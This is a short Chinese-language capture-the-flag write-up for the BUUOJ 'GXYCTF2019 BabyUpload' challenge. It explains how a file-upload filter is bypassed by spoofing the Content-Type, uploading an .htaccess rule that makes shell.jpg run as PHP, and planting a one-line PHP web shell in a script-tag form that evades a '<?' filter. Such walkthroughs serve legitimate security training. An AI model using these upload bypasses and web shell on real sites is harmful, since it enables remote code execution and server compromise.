0x00 題目介紹
參考網址:https://buuoj.cn/challenges#[GXYCTF2019]BabyUpload
0x01 上傳檢測
副檔名檢測:字尾名不能包含ph,大小寫均不可。
檔案型別檢測:content-type 只能是 image/jpeg
檔案內容檢測:過濾<?
0x02 詳細思路
1.抓到上傳包
2.重放包,發現不止字尾名檢測,這裡還有檔案型別檢測。
3.Content-type 修改為image/jpeg,繼續重放包,發現上傳成功。
但是隻上傳jpg格式遠不能達到目的,這裡通過burp爆破來獲得可上傳的字尾名!
我們發現.htaccess檔案是可以成功上傳的。
4.可利用.htaccess進行解析,先上傳.htaccess檔案,再上傳jpg檔案,將shell.jpg解析為php檔案,下面就是對映解析程式碼!
<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
5.上傳shell.jpg,新增PHP一句話木馬,發現這裡好像對<?進行了過濾。
6.使用js編寫一句話進行繞過 <? 檢測,得到上傳地址。
<script language='php'>assert($_REQUEST['cmd'])</script>
7.之後,使用webshell連線工具,或者使用show_source()函式,即可得到flag!